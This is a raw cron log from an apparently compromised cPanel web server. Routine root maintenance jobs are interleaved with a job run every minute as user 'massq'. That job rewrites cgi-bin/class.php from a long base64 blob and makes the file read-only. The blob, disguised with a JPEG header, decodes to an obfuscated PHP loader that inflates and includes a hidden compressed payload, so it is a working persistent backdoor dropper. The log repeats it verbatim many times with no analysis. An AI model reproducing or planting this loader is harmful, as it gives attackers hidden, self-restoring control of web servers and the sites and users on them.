Sep  9 16:14:01 server CROND[2059]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:14:01 server CROND[2060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:15:01 server CROND[2456]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:15:01 server CROND[2457]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  9 16:15:01 server CROND[2459]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:15:01 server CROND[2462]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 16:15:01 server CROND[2463]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:15:01 server CROND[2466]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:15:01 server CROND[2469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:15:01 server CROND[2467]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:15:01 server CROND[2468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:16:01 server CROND[3341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:16:01 server CROND[3342]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:16:01 server CROND[3343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:17:01 server CROND[3711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:17:01 server CROND[3712]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:17:01 server CROND[3714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:18:01 server CROND[4179]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:18:01 server CROND[4180]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:18:01 server CROND[4181]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:19:01 server CROND[4604]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:19:01 server CROND[4605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:19:01 server CROND[4606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:20:01 server CROND[4993]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 16:20:01 server CROND[4992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:20:01 server CROND[4996]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:20:01 server CROND[5000]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:20:01 server CROND[4998]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 16:20:01 server CROND[5005]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 16:20:01 server CROND[5002]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 16:20:01 server CROND[5004]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:20:01 server CROND[5006]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:21:01 server CROND[5853]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:21:01 server CROND[5852]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:21:01 server CROND[5854]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:22:01 server CROND[6299]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:22:01 server CROND[6300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:22:01 server CROND[6301]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:23:01 server CROND[6790]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:23:01 server CROND[6791]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:23:01 server CROND[6792]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:24:02 server CROND[7174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:24:02 server CROND[7176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:24:02 server CROND[7175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 16:25:01 server CROND[7570]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 16:25:01 server CROND[7571]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 16:25:01 server CROND[7573]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 16:25:01 server CROND[7575]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  9 16:25:01 server CROND[7576]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 16:25:01 server CROND[7578]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
